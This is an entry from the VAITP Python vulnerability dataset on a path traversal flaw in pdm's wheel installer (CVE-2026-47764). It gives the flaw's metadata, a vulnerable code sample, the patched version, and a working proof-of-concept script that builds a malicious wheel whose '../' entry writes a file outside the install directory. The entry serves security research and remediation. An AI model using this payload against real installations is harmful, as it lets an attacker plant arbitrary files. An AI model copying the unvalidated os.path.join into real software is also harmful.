VAITP Dataset

← Back to the dataset

CVE-2026-47764

Path traversal in pdm allows a malicious wheel to write arbitrary files.

  • CVSS 8.4
  • 22
  • Input Validation and Sanitization
  • Local

pdm is a Python package and dependency manager supporting the latest PEP standards. Versions prior to 2.27.0 are vulnerable to path traversal through write_to_fs. InstallDestination.write_to_fs() in src/pdm/installers/installers.py overrides the base class to add symlink/hardlink support but replaces the safe _path_with_destdir() (which validates via Path.resolve() + is_relative_to()) with a bare os.path.join() that performs no path validation. A malicious wheel with traversal entries can write arbitrary files. This issue has been fixed in version 2.27.0.

CWE
22
CVSS base score
8.4
Published
2026-08-04
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
pdm
Fixed by upgrading
Yes

Solution

Upgrade pdm to version 2.27.0 or later.

Vulnerable code sample

import os
from typing import IO

# Faked upstream dependencies for a minimal example
class Scheme: pass
class BaseInstallDestination:
    def __init__(self, base: str, **kwargs): self.base = base
    def _path_with_destdir(self, scheme: Scheme, path: str) -> str: pass
    def write_to_fs(self, scheme: Scheme, path: str, stream: IO[bytes], is_executable: bool) -> str: pass

IS_WINDOWS = os.name == "nt"

class InstallDestination(BaseInstallDestination):
    def __init__(self, *args, **kwargs) -> None:
        super().__init__(*args, **kwargs)
        self.use_link = False

    def write_to_fs(
        self,
        scheme: Scheme,
        path: str,
        stream: IO[bytes],
        is_executable: bool,
    ) -> str:
        if self.use_link:
            source_path: str = getattr(stream, "name")
            # VULNERABLE: path from wheel file is not validated before being joined to a base path
            target_path = os.path.join(self.base, path)

            dirname = os.path.dirname(target_path)
            os.makedirs(dirname, exist_ok=True)

            if os.path.lexists(target_path):
                os.remove(target_path)
            
            if IS_WINDOWS:
                os.link(source_path, target_path)
            else:
                os.symlink(source_path, target_path)
            return target_path
        return super().write_to_fs(scheme, path, stream, is_executable)

Patched code sample

import os
from typing import IO

# Faked upstream dependencies for a minimal example
class Scheme: pass
class BaseInstallDestination:
    def __init__(self, base: str, **kwargs): self.base = base
    def _path_with_destdir(self, scheme: Scheme, path: str) -> str: pass
    def write_to_fs(self, scheme: Scheme, path: str, stream: IO[bytes], is_executable: bool) -> str: pass

IS_WINDOWS = os.name == "nt"

class InstallDestination(BaseInstallDestination):
    def __init__(self, *args, **kwargs) -> None:
        super().__init__(*args, **kwargs)
        self.use_link = False

    def write_to_fs(
        self,
        scheme: Scheme,
        path: str,
        stream: IO[bytes],
        is_executable: bool,
    ) -> str:
        if self.use_link:
            source_path: str = getattr(stream, "name")
            # FIX: Use the base class's safe method which validates the path is within the destination
            target_path = self._path_with_destdir(scheme, path)

            dirname = os.path.dirname(target_path)
            os.makedirs(dirname, exist_ok=True)

            if os.path.lexists(target_path):
                os.remove(target_path)
            
            if IS_WINDOWS:
                os.link(source_path, target_path)
            else:
                os.symlink(source_path, target_path)
            return target_path
        return super().write_to_fs(scheme, path, stream, is_executable)

Payload

import zipfile
import os

# --- Payload Configuration ---
# The name of the malicious wheel file to create.
wheel_filename = "malicious_pdm_poc-1.0-py3-none-any.whl"
# The path to traverse to and the file to write.
# This example writes to /tmp/pwned on a Unix-like system.
# The number of "../" may need adjustment depending on the installation depth.
malicious_filepath = "../../../../../../tmp/pwned"
# The content to write into the target file.
file_content = b"This file was written by exploiting CVE-2026-47764 in pdm.\n"
# --- Wheel Metadata (required for a valid wheel) ---
dist_info_dir = "malicious_pdm_poc-1.0.dist-info/"
metadata_content = """
Metadata-Version: 2.1
Name: malicious-pdm-poc
Version: 1.0
Summary: A proof-of-concept exploit for CVE-2026-47764.
"""
wheel_metadata_content = """
Wheel-Version: 1.0
Generator: bdist_wheel (0.37.0)
Root-Is-Purelib: true
Tag: py3-none-any
"""

# --- Payload Generation ---
if os.path.exists(wheel_filename):
    os.remove(wheel_filename)

with zipfile.ZipFile(wheel_filename, "w", zipfile.ZIP_DEFLATED) as zf:
    # 1. Add the required wheel metadata files.
    zf.writestr(dist_info_dir + "METADATA", metadata_content)
    zf.writestr(dist_info_dir + "WHEEL", wheel_metadata_content)

    # 2. Add the malicious file with the traversal path.
    # This is the core of the exploit.
    zf.writestr(malicious_filepath, file_content)

print(f"Malicious wheel '{wheel_filename}' created successfully.")
print(f"To test, run 'pdm add ./{wheel_filename}' in a test project using a vulnerable pdm version.")
print(f"Then check for the existence and content of '/tmp/pwned'.")

Cite this entry

@misc{vaitp:cve202647764,
  title        = {{Path traversal in pdm allows a malicious wheel to write arbitrary files.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-47764},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47764/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::